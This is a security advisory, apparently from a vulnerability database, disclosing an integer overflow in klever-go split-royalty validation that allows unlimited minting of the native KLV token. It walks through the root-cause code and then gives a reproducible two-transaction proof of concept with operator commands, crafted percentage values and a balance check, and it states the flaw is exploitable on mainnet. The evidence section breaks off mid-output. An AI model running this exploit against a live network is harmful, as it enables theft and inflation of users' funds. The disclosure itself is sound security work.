Summary
Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)
Advisory details
Summary
The per-entry percentages of a KDA asset's split royalties are validated by summing
them into a uint32 accumulator and checking the sum against HundredPercent (10000),
with no upper bound on each individual entry. Two split entries whose percentages sum to
just over 2^32 wrap around below 10000 and pass validation, while each stored value
remains astronomically large (e.g. 0x80000000 = 2,147,483,648 ≈ 21,474,836%).
At royalty payout, each split recipient is credited pool × hugePct / 10000 — far more than
the royalty pool — and the resulting negative remainder is silently discarded
(if royaltiesToPay <= 0 { return Ok }). Because fixed royalties (and marketplace/ITO
royalties) are denominated in KLV, an attacker mints KLV (the native token) out of thin
air, on demand, by transferring or selling their own throwaway asset.
This is independent of, and not mitigated by, the existing FixMarketBuyOverflow guard.
Affected component
- Repository:
klever-io/klever-go(node). - Validation:
core/process/kda/assetHelper.go,core/kapp/kda/create.go,core/kapp/kda/trigger.go,core/kapp/builtInFunctions/utils.go. - Payout (mint sites):
core/kapp/accounts/accounts.go(transfer),core/kapp/market/market.go(marketplace buy),core/kapp/ito/ito.go(ITO buy). - Not gated by any fork flag — exploitable on current mainnet.
Root cause
1. Per-entry split percentages are decoded as raw uint32 with no bound
core/kapp/builtInFunctions/utils.go — decodeSplitInfo (≈L292):
func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {
fields := []*uint32{
&splitInfo.PercentTransferPercentage,
&splitInfo.PercentTransferFixed,
&splitInfo.PercentMarketPercentage,
&splitInfo.PercentMarketFixed,
&splitInfo.PercentITOPercentage,
&splitInfo.PercentITOFixed,
}
for _, field := range fields {
if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check
return err
}
}
return nil
}
2. Validation sums into a uint32 and only checks the sum
core/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264):
sumSplitTransferPercentage := uint32(0) // L351 <-- uint32 accumulator
sumSplitTransferFixed := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
// ... no per-entry bound ...
sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
sumSplitTransferFixed += value.GetPercentTransferFixed()
// ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}
core/process/kda/assetHelper.go (L101):
func CheckValid100Params(values ...uint32) bool {
for _, value := range values {
if value > core.HundredPercent { // HundredPercent = 10000
return false
}
}
return true
}
The per-entry > HundredPercent check that exists for TransferPercentage tiers
(create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.
0x80000000 + 0x80000000 = 0x1_0000_0000 → wraps to 0 in uint32 → CheckValid100Params(0) is true.
3. Payout over-pays and silently drops the negative remainder (mint), in KLV
core/kapp/accounts/accounts.go — processFixedRoyaltiesTransfer (L316-382):
err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
// L343: split paid in KLV using the overflowed PercentTransferFixed
status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
// ...
}
if royaltiesFixedToPay <= 0 { // L349: negative remainder silently dropped (no error)
return transaction.Transaction_Ok, nil
}
computeSplitRoyalties (L276-314):
splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...) // L293: credit, no matching debit
tools/converters.go — ComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000
fits in int64, so no overflow error fires — it simply returns the inflated amount.
Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient credited
TransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.
The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the
sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV — silent skips at L456/L503) and
core/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the
top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.
Proof of Concept (reproduce from scratch)
A single-node local network is sufficient. Full environment setup is in the companion runbook
REPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.
Prereqs (build + run a single node)
export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
--nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
--rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
> /tmp/klnode.log 2>&1 < /dev/null & disown
Step 1 — create a malicious asset (your own throwaway token)
The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000.
Two entries make the uint32 sum wrap to 0.
R1=<any valid klv1 address> # clean recipient, will receive minted KLV
R2=<any valid klv1 address> # second recipient
/tmp/kloperator kda create 0 \
--name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
--royaltiesAddress=<owner> \
--royaltiesTransferFixed=1 \
--splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
--splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
-s --await
Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both
recipients (a correct chain would reject this).
Step 2 — mint KLV with one ordinary transfer
/tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await
Expected: resultCode: Ok, with two KLV transfer receipts of 214748364800
(= 214,748.36 KLV) to R1 and R2 — for a TransferFixed royalty of 1000000 (1 KLV).
Verify the mint
# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
"import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"
Evidence (live single-node run, chainID 420420)
Asset creation — overflowed split royalties accepted (resultCode: Ok)
tx 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb, broadcast contract
(operator output, abridged):
{
"type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
"ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0v
References
Related vulnerabilities
All Supply chain →- HIGHCVE-2026-73086
nanoid: Integer Overflow or Wraparound
- HIGHCVE-2026-55764
klever-go: SFT add-quantity `int64` overflow bypasses a finite per-nonce MaxSupply
- MEDIUMCVE-2026-61799
netty-incubator-codec-ohttp: Binary HTTP parser unchecked varint length overflow causes decoder crash
- CRITICALCVE-2026-71479
New API: Integer overflow in quota billing yields negative charges (self-crediting)
- HIGHCVE-2026-62897
Microsoft Security Advisory CVE-2026-62897 – .NET Remote Code Execution Vulnerability
- HIGHCVE-2026-62886
Microsoft Security Advisory CVE-2026-62886 – .NET Elevation of Privilege Vulnerability